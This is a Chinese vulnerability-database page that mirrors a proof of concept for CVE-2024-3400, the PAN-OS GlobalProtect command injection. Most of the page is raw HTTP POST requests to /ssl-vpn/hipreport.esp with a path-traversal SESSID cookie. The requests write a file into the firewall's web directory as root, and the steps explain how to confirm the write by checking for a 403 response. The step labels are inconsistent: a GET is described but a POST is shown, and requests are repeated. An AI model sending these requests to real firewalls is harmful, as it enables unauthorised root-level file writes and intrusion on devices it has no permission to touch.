POC详情： 8dd5823ba502bdca0fafb2407477b0a8f1b3f1e8

来源
https://github.com/0xr2r/CVE-2024-3400-Palo-Alto-OS-Command-Injection
关联漏洞
标题： Palo Alto Networks PAN-OS 命令注入漏洞 (CVE-2024-3400)
描述：Palo Alto Networks PAN-OS是美国Palo Alto Networks公司的一款下一代防火墙软件。 Palo Alto Networks PAN-OS 10.2、11.0、11.1存在命令注入漏洞，该漏洞源于GlobalProtect 功能中存在命令注入漏洞，可能使未经身份验证的攻击者在防火墙上以 root权限执行任意代码。
介绍
#Steps :


----------------------------------------------------------------------------------------------
#1. Check whether file (0xr2r.txt) is present on device by running below get request or We can verify same by openinig 

https://domain.com/global-protect/portal/images/0xr2r.txt  Url in browser 
if you get 404 response that means file is not present.

-------------------------------------------------------------------------------------------------
```


POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: domain.com
Cookie:  SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/0xr2r.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```



-------------------------------------------------------------------------------------------------


#2.now put file (0xr2r.txt) on device by running below post request . this will create file on device under given path with root assess.



-------------------------------------------------------------------------------------------------
```

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: domain.com
Cookie:  SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/0xr2r.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
user=0xr2r&portal=0xr2r&authcookie=284ad748-7ce2-4753-a39a-aa381b18cf70&domain=0xr2r&computer=0xr2r&client-ip=0xr2r&client-ipv6=0xr2r&md5-sum=0xr2r&gwHipReportCheck=0xr2r

```

-----------------------------------------------------------------------------------------------------------------------

#3. now again if you try to access the files you should receive 403 insted 404. this proves file (0xr2r.txt)  is present on device
with root access. 


-----------------------------------------------------------------------------------------------------------------------

```

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: domain.com
Cookie:  SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/0xr2r.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 170

user=0xr2r&portal=0xr2r&authcookie=284ad748-7ce2-4753-a39a-aa381b18cf70&domain=0xr2r&computer=0xr2r&client-ip=0xr2r&client-ipv6=0xr2r&md5-sum=0xr2r&gwHipReportCheck=0xr2r
```
文件快照

 [4.0K]  /data/pocs/8dd5823ba502bdca0fafb2407477b0a8f1b3f1e8
├── [2.1K]  exploit.txt
└── [2.1K]  README.md

0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。